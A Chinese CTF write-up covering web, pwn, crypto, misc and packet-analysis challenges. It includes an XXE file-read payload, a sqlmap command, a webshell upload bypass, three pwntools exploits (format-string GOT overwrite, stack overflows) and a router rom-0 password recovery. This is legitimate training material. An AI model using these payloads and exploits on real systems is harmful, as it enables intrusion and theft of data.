豌豆杯-CTF



title: wandoucup-ctf
date: 2018-10-28 14:01:54
tags: [CTF,Pwn,流量分析]
categories: CTF

wandoucup-ctf

這兩天在打一個稍微簡單的CTF,寫個writeup記錄一下被虐的過程😭,總的來說這場小賽是個大雜燴,畢竟你懂的😏,作為做題者我們當然是有題做就ok的。

由於比賽后環境關閉,所以有的無圖片展示,現有的圖片是下午就准備寫writeup截的圖。

web

web1-簽到題

題目鏈接

跟某幾個ctf練習平台上面的滑稽題一樣:

一鍵獲取flag😄。

web2-輸入密碼查看flag

題目鏈接

簡單瀏覽一下,就是一個爆破的題:

密碼為五位數,那我們直接上burpsuite咯:設置長度和payload字符:

GET FLAG!

web3-這真能傳馬?

題目鏈接

簡單地抓包修改參數,從而使得自己能夠傳php,我直接上了一個大馬,然后看/opt/flag.txt。

抓包可以看到url中的ext參數傳遞的是文件類型,猜測是可以修改,我們加個php到中間即可成功地直接上傳webshell(很摳腳)。

然后再修改一下content-type即可:

To /opt/flag.txt get flag==>😄

web4-這真能注入?

題目鏈接

瀏覽一下,加個單引號試試就一個很明顯的注入咯:

直接sqlmap注入即可,sqlmap -u http://101.231.137.47:20004/php/index.php?gid=1 --dbs

得到數據庫名后直接逐步指定數據庫表,指定字段,dump即可。

由於比賽后服務已經關閉故未能截取成功圖片。

web5-API

這題是xxe外部實體注入,通過抓包,修改POST數據以及Content-type從而讀取到/tmp/flag.txt。

XXE漏洞就是服務器接受從客戶端發送來的xml格式數據時,xml數據中惡意的引用了外部實體,將它的值綁定為服務器的目標文件,這樣在服務器返回給我們解析后的值時,就會把目標文件的內容返回給我們,從而讀取敏感文件內容。

題目原本傳輸的Content-type: application/json改為Content-type: application/xml,並將POST的數據改為以下xml代碼:

<?xml version=”1.0″?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM “file:///tmp/flag.txt”>
]>
<something>&xxe;</something>

然后發送數據包,就可得到api返回的flag了。

web6-sweet home

這道題有點東西,一步一步深入,到最后一個提示放出之后幾分鍾,迅速拿到flag。

步驟:登錄和注冊界面需要寫腳本拋出對應規則的code,然后通過目錄遍歷得到部分頁面源碼以及一個目錄(分別是user.php~config.php~adminpic),根據源碼可以得知adminpic是admin用戶上傳文件的一個目錄,並且我們可以得到數據庫賬號密碼,全端口掃描得到23306端口為數據庫服務端口,登陸后得到admin賬戶密碼,經過大半天的破解md5之后,得到提示crypto.html,這是一個指定的解密md5的頁面,輸入admin密碼hash值破解得到提示crypto.png,訪問得到二維碼,掃描即可獲得密碼wandouxueyuan:),用此密碼可登錄admin賬戶,來到上傳圖片publish頁面,結合前面遍歷得到的一個adminpic目錄可以知道上傳文件在此目錄中,經過簡單的繞過后上傳大馬即可。

傻傻的我還嘗試文件包含,session_decode,以及register注冊等等操作。

傳完馬后訪問/adminpic目錄即可看到自己上傳的文件,從而getshell拿到flag:

web附加題-atom

這道web加餐題,實際上就是用給的賬戶密碼登錄后將cookie中的admin=0改為admin=1,然后會跳轉到一個后台,然后查看后台源碼即可得到真正的flag。

Pwn

三個pwn都非常經典,分別考察格式化字符串漏洞,簡單的溢出,以及ret2sys幾個知識點。

pwn1--格式化字符串漏洞

通過用IDA簡單地分析一下邏輯,可以看到printf處存在格式化字符串漏洞:

#vuln_fun函數偽c代碼
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-Ch] [ebp-7Ch]
  int v5; // [esp-8h] [ebp-78h]
  int v6; // [esp-4h] [ebp-74h]
  int format; // [esp+0h] [ebp-70h]
  int v8; // [esp+4h] [ebp-6Ch]
  int v9; // [esp+8h] [ebp-68h]
  int v10; // [esp+Ch] [ebp-64h]
  int v11; // [esp+10h] [ebp-60h]
  int v12; // [esp+14h] [ebp-5Ch]
  int v13; // [esp+18h] [ebp-58h]
  int v14; // [esp+1Ch] [ebp-54h]
  int v15; // [esp+20h] [ebp-50h]
  int v16; // [esp+24h] [ebp-4Ch]
  int v17; // [esp+28h] [ebp-48h]
  int v18; // [esp+2Ch] [ebp-44h]
  int v19; // [esp+30h] [ebp-40h]
  int v20; // [esp+34h] [ebp-3Ch]
  int v21; // [esp+38h] [ebp-38h]
  int v22; // [esp+3Ch] [ebp-34h]
  int v23; // [esp+40h] [ebp-30h]
  int v24; // [esp+44h] [ebp-2Ch]
  int v25; // [esp+48h] [ebp-28h]
  int v26; // [esp+4Ch] [ebp-24h]
  int v27; // [esp+50h] [ebp-20h]
  int v28; // [esp+54h] [ebp-1Ch]
  int v29; // [esp+58h] [ebp-18h]
  unsigned int v30; // [esp+64h] [ebp-Ch]
  int *v31; // [esp+6Ch] [ebp-4h]

  v31 = &argc;
  v30 = __readgsdword(0x14u);
  memset(&format, 0, 0x64u);
  __isoc99_scanf(
    0,
    (int)&format,
    (int)"%s",
    (int)&format,
    v4,
    v5,
    v6,
    format,
    v8,
    v9,
    v10,
    v11,
    v12,
    v13,
    v14,
    v15,
    v16,
    v17,
    v18,
    v19,
    v20,
    v21,
    v22,
    v23,
    v24,
    v25,
    v26,
    v27,
    v28,
    v29);
  printf((const char *)&format);	//格式化字符串漏洞
  fflush(_bss_start);				//覆蓋got表中fflush條目指向的地址,將其指向read_flag函數
  return 0;
}

簡單運行一下,我們可以構造語句:aaaa-%p-%p-%p-%p-%p-%p-%p-%p,然后輸入得到:

可以看到我們的輸入被放在了printf函數棧中的第6個位置(這里的%p是c/c++中格式化字符串的參數),格式化字符串漏洞最主要的危害就是可以獲取任意地址內容,或者實現任意地址寫,那么我們這就是通過任意地址寫,來覆蓋got表,之前的練習記錄中就提到了這些知識。

既然知道了利用位置,那么直接利用pwntools構造exp:

#coding:utf-8

from pwn import *

context.log_level = "debug"

#io = process('./200')
elf = ELF('./200')
io = remote('101.231.137.47','20010')
#read_flag_addr = 0x0804859B
read_flag_addr = elf.sym['read_flag']

#bss_addr = 0x0804A034
got_printf_addr = 0x0804A00c
got_fflush_addr = 0x0804A010

#覆蓋fflush地址指向的內容,從而實現read_flag跳轉
payload = fmtstr_payload(6, {got_fflush_addr: 0x0804859B})	


io.sendline(payload)
io.interactive()

exp效果:

pwn2--棧溢出

簡單的棧溢出啦,很常見的,找到溢出點然后把EIP指向我們的win函數地址即可:

通過gdb-peda,pattern模塊,找到溢出偏移量為76,也就是說只需要構造76*'a' + win_addr即可:

構造exp:

#coding:utf-8

from pwn import *

context.log_level = "debug"

#ida中有win函數的地址
win_addr = 0x08048488
#io = process('101.231.137.47',20011)
io = process('./100')
payload = 76*'a' + p32(win_addr)

io.send(payload)
io.interactive()
io.close()


運行效果(因為環境已經關閉,所以只能展示本地效果):

pwn3--ret2syscall

pwn3的話稍微比上面兩題要難上一點點,不過還在我這個萌新的承受范圍之內,先檢查一下保護措施:

可以看到只是開了棧不可執行 (NX),靜態分析一波:

這里我們也可以看到一個win_func函數,猜測同樣是利用返回到該函數從而得到flag,那么如何返回到這個win_func函數呢?

我們注意到mem_test函數偽c代碼如下:

直接return result ,那么如果有溢出存在,那我們能不能覆蓋掉這個函數的返回地址呢,那當然是可行的(這題不能直接用pattern create得到偏移量,如果pattern過大則會導致無法覆蓋eip),用gdb在mem_test函數下斷點調試:

然后根據之前ida分析變量s的位置為ebp-0x13,我們可以知道,ebp = 0xffffd145 +0x13 = 0xffffd158,或者直接在gdb看ebp的值,可以知道0x8048718就是return返回的地址。我們需要將它覆蓋成win_func的地址。

而catflag地址就是一開始輸出的那個hint:0x080487E0

構造exp:


#coding:utf-8
Author = "Yof3ng"

from pwn import *
import sys
context.binary = "./memory"
context.log_level = 'debug'
elf = context.binary
#io = process("./memory")
io = remote('101.231.137.47','20012')
catflag = 0x080487E0
system_addr = elf.sym['win_func']
print(system_addr)
#padding由棧空間和ebp(0x13+4)組成,system('cat flag')由system函數和catflag參數以及system返回地址組成
payload = flat(cyclic(0x17), system_addr, 0x08048677, catflag)
print(payload)
io.sendline(payload)

io.interactive()

運行效果:

Crypto

Crypto1-我這密碼忘了。。。

題面有一串base64:VTBzNE9GZEhURWhDVjBveFVrMVVTell4UkRKWU5FTTFRMGszUmtrd1ZFVT0=

連續解碼即可得到:SK88WGLHBWJ1RMTK61D2X4C5CI7FI0TE

提交即可。

Crypto2-二戰時期的密碼

據說是某平台原題,甚至專門去查了一下二戰時期的密碼學,題面:

已知將一個flag以一種加密形式為使用密鑰進行加密,使用密鑰WELCOMETOCFF加密后密文為000000000000000000000000000000000000000000000000000101110000110001000000101000000001,請分析出flag

WELCOMETOCFF為密鑰,長度為12,而二進制串長度為84,既然密文為二進制,那么可以想到的比較簡單的加密操作就是按位與,按位或,以及按位異或。

嘗試后發現是異或操作,將WELCOMETOCFF,分別用七位二進制表示其在字母表中的順序,並且每對應的七位進行異或操作:

密文

0000000 0000000 0000000 0000000 0000000 0000000 0000000 0010111 0000110 0010000 0010100 0000001

XOR
    
密鑰
W E L C O M E T O C F F
0010111 0000101 0001100 0000011 0001111 0001101 0000101 0010100 0001111 0000011 0000110 0000110
    
得到:
0010111 0000101 0001100 0000011 0001111 0001101 0000101 0000011 0001001 0010011 0010010 0000111
W E L C O M E C I S R G

==> flag{WELCOMECISRG}

提交即可。

Crypto3-被黑了,求密碼

摩斯電碼解碼即可:

flag:JRQ058XMGC1I7PB4UNGA7BLNBCMS6YJ0

Crypto4-出航了~出航啦!!

根據題面,嘗試進行對請求類型進行過濾,發現POST請求只有一個,並且有userid和pswrd:

嘗試將pswrd的值解碼后提交flag,成功。

Crypto5-IDC密碼破解(未解出)

給出一串字符js4163633181327481

完全腦洞題:手機九鍵4163633181327481,沒用過的咋活。。。

Crypto6-超級密碼

這題給出了大量的md5值,以及類似於base64格式的字符串,很容易就想到hash加鹽(salt)的問題,而且隱約記得之前在哪看到過這個題。

腳本爆破(時間原因,直接從1234567880開始):

# coding:utf-8
import hashlib
from numba import jit
@jit
def run():
	password =["f09ebdb2bb9f5eb4fbd12aad96e1e929.p5Zg6LtD","6cea25448314ddb70d98708553fc0928.ZwbWnG0j","2629906b029983a7c524114c2dd9cc36.1JE25XOn","2e854eb55586dc58e6758cfed62dd865.ICKTxe5j","7b073411ee21fcaf177972c1a644f403.0wdRCo1W","6795d1be7c63f30935273d9eb32c73e3.EuMN5GaH","d10f5340214309e3cfc00bbc7a2fa718.aOrND9AB","8e0dc02301debcc965ee04c7f5b5188b.uQg6JMcx","4fec71840818d02f0603440466a892c9.XY5QnHmU","ee8f46142f3b5d973a01079f7b47e81c.zMVNlHOr","e4d9e1e85f3880aedb7264054acd1896.TqRhn1Yp","0fd046d8ecddefc66203f6539cac486b.AR5lI2He","f6326f02adaa31a66ed06ceab2948d01.Aax2fIPl","720ba10d446a337d79f1da8926835a49.ZAOYDPR2","06af8bcc454229fe5ca09567a9071e62.hvcECKYs","79f58ca7a81ae2775c2c2b73beff8644.TgFacoR3","46aaa5a7fef5e250a2448a8d1257e9cf.GLYu0NO4","2149ac87790dd0fe1b43f40d527e425a.5Xk2O1sG","d15a36d8be574ac8fe64689c728c268e.aZikhUEy","ff7bced91bd9067834e3ad14cc1464cd.E7UROqXn","8cc0437187caf10e5eda345cb6296252.XPin3mVB","5cfcdca4a9cb2985a0b688406617689e.nsGqoafv","5a7dfa8bc7b5dfbb914c0a78ab2760c6.YC1qZUFR","8061d8f222167fcc66569f6261ddd3cc.wNgQi615","3d8a02528c949df7405f0b48afe4a626.CO2NMusb","70651acbc8bd027529bbcccdbf3b0f14.CAXVjFMd","a9dbe70e83596f2d9210970236bdd535.TL6sjEuK","9ed6ef5780f705ade6845b9ef349eb8f.tJ90ibsz","4b46fac0c41b0c6244523612a6c7ac4a.VTjOSNmw","8141e6ecb4f803426d1db8fbeb5686ef.lh75cdNC","df803949fd13f5f7d7dd8457a673104b.V39sEvYX","19052cc5ef69f90094753c2b3bbcd41d.YwoGExpg","cf8591bdccfaa0cdca652f1d31dbd70f.pJCLui49","66e10e3d4a788c335282f42b92c760a1.NQCZoIhj","94c3ae5bcc04c38053106916f9b99bda.vOktelLQ","e67e88646758e465697c15b1ef164a8d.x0hwJGHj","84d3d828e1a0c14b5b095bedc23269fb.2HVWe9fM","264a9e831c3401c38021ba3844479c3f.Cx4og6IW","ed0343dec184d9d2c30a9b9c1c308356.g2rqmPkT","ad5ba8dc801c37037350578630783d80.pFK2JDT5","3f588bedb704da9448e68fe81e42bca6.4ANDOiau","970c9cf3cad3dfa7926f53ccaae89421.R6ML7Qy8","e0a097b7cceaa7a8949fe039884e4a2d.dul2ynqL","7df505218102c64b1fe4fa5981ddb6fa.jPeoyS57","fd4f6043da1f7d5dca993c946ef6cd7c.6p9CwGaY","5fe6d99b9a2824949279187c246c9c30.OGQ2J57y","135b150ad513a961089bb1c05085a3d9.h0dw1Fro","ad6af4fb623b3c51181a371911667fed.HbQT4dRz","c9fa4b0db317d88e2b10060225e92494.ebVnpMzS","d0deab17d115bd6fdce8592bb3667643.bL5zwgvX","006f0cb3a422716692f143f28eb0d187.NHXg1Fof","ddc125de34da1a6ec0cbe401f147bc8f.GDai9Y0n","be5052053c5a806e8f56ed64e0d67821.40alyH3w","aaf18ac446b8c385c4112c10ae87e7dc.ZJQzuIL0","a2db20a4b7386dc2d8c30bf9a05ceef7.QnpOlPWH","8a4fbc32a3251bb51072d51969ba5d33.rtcbipeq","5e35d2c9675ed811880cea01f268e00f.i1Hbne6h","9da23007699e832f4e9344057c5e0bd3.EtbGpMSW","f09233683d05171420f963fc92764e84.fxHoinEe","4feabf309c5872f3cca7295b3577f2a8.KymkJXqA","9b94da2fa9402a3fdb4ff15b9f3ba4d2.G3Tdr1Pg","b3cd8d6b53702d733ba515dec1d770c5.Y71LJWZz","6a5b3b2526bb7e94209c487585034534.rIwb4oxt","e9728ef776144c25ba0155a0faab2526.e1sOXSb8","d41a5e7a98e28d76dbd183df7e3bcb49.36bedvia","81d5ebfea6aff129cf515d4e0e5f8360.dDG4qTjW"]
	n=1234567880
	while(n<10000000000):
		for j in range(0,66):
			salt = password[j][33:]
			md5 = password[j][:32]
			mingwen = "{FLAG:"+str(n)+"}"+password[j][33:]
			miwen = hashlib.md5(mingwen.encode('utf-8')).hexdigest()
			if (miwen == md5) :
				print(mingwen)
				print(password[j])
				n=10000000000
				break
		print(n)
		n=n+1

run()

運行效果:

flag:1234567890

Misc

Misc1-會飛的狗狗

直接查看文件內容可以得到末尾的base64字符串,接解碼得到flag

Misc2-文件類型分析

得到一個zip壓縮包,點開來看看,存在[content-types].xml文件,基本上可以確定是微軟公司office套件的格式。簡單試過doc,docx,ppt,pptx,xls,xlxs沒用之后,查到xps:

於是改為xps文件后綴即可,將xps提交。

Misc3-真真假假分不清楚

簡單的一個偽加密,修改全局加密標志位,將奇數改為偶數即可。

{FLAG:011938d495c36aeab4bfbd897c240d31}

Misc4-誘人的音樂

這題的音頻文件中存在一段摩斯電碼(有的同學通過二進制getflag),通過音頻分析軟件可以將其提取出來:


.--..--..--.--...--....-.--..---.----.--.--...--.--.-.....--...-.---.....---.-...---.-.-.--.---..--..-.-.-.-----..--.-.-..--..--.---.--..--..-.-.---..-..-----.-

#一次性解碼行不通,可以將其分為三段分別解碼並且將三個非正常字符轉為16進制:
.--..--..--.--...--....-.--..---.----.--.--...--.--.-...
晬61677b6368
晬 ==> 0x666c
..--...-.---.....---.-...---.-.-.--.---..--..-.-
ㅰ74756e65
ㅰ ==> 0x3170
.-.-----..--.-.-..--..--.---.--..--..-.-.---..-..-----.-
張337665727c
張 ==> 0x5f35

#進行拼接
666c61677b6368317074756e655f35337665727c
#可以得到
flag{ch1ptune_53ver|
#提交ch1ptune_53ver即可

Misc5-神秘的文件名(未解出)

可以通過binwalk得到一個逆向題,較難,未解出。

網絡協議分析

網絡協議分析1-數據包里有甜甜圈哦~

wireshark打開數據包后,依次使用以下過濾規則:
http contains flag

tcp contains flag

udp contains flag

即可通過udp contains flag查到flag。

網絡協議分析2-嘿嘿嘿(未解出)

經過瘋狂手動提取后發現只能獲得一絲圖片,賽后得知需要用tcpflow這個神器重構損害的tcp數據,從而得到圖像。

網絡協議分析3-thief

拿到數據包打開后發現大部分都是802.11 wlan數據包,過濾一下http請求:

可以發現第一個請求的是/rom-0,確實不知為何就覺得這個是關鍵,google搜索一下:

點進routerPwn發現是一個解壓rom-0文件的網址,那我們是不是還缺一個文件。接下來通過導出http對象,我們可以得到一個rom0文件,正好將其解密得到以下內容:

#猜測是用來解密的密鑰咯
Rome4040
TP-LINK
public
public
public
public

在運用wireshark分析流量的過程中我們經常需要使用密鑰之類的東西來解密流量,此處同樣通過 查詢資料 可以獲得解密方式:

將密碼Rome4040導入解密,可以發現的確出現了很多http和tcp的包,根據題目提示使用過濾http contains CTF得到flag:

🆒wandoucup-CTF-WP到此結束。

Publish by Yof3ng👌。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM